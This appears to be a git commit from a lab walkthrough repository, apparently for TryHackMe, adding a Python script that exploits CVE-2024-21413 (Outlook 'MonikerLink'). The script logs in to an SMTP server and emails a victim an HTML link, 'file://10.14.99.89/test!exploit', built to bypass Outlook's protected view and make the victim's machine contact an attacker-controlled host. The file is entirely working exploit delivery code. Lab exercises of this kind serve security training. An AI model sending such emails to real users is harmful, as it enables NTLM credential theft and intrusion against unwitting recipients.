initial commit
This commit is contained in:
45
Walkthroughs/MonikerLink/attack.py
Normal file
45
Walkthroughs/MonikerLink/attack.py
Normal file
@@ -0,0 +1,45 @@
|
||||
'''
|
||||
Author: CMNatic | https://github.com/cmnatic
|
||||
Version: 1.0 | 19/02/2024
|
||||
'''
|
||||
|
||||
import smtplib
|
||||
from email.mime.text import MIMEText
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.utils import formataddr
|
||||
|
||||
sender_email = 'attacker@monikerlink.thm' # Replace with your sender email address
|
||||
receiver_email = 'victim@monikerlink.thm' # Replace with the recipient email address
|
||||
password = input("Enter your attacker email password: ")
|
||||
html_content = """\
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<p><a href="file://10.14.99.89/test!exploit">Click me</a></p>
|
||||
|
||||
</body>
|
||||
</html>"""
|
||||
|
||||
message = MIMEMultipart()
|
||||
message['Subject'] = "CVE-2024-21413"
|
||||
message["From"] = formataddr(('CMNatic', sender_email))
|
||||
message["To"] = receiver_email
|
||||
|
||||
# Convert the HTML string into bytes and attach it to the message object
|
||||
msgHtml = MIMEText(html_content,'html')
|
||||
message.attach(msgHtml)
|
||||
|
||||
server = smtplib.SMTP('MAILSERVER', 25)
|
||||
server.ehlo()
|
||||
try:
|
||||
server.login(sender_email, password)
|
||||
except Exception as err:
|
||||
print(err)
|
||||
exit(-1)
|
||||
|
||||
try:
|
||||
server.sendmail(sender_email, [receiver_email], message.as_string())
|
||||
print("\n Email delivered")
|
||||
except Exception as error:
|
||||
print(error)
|
||||
finally:
|
||||
server.quit()
|
||||
Reference in New Issue
Block a user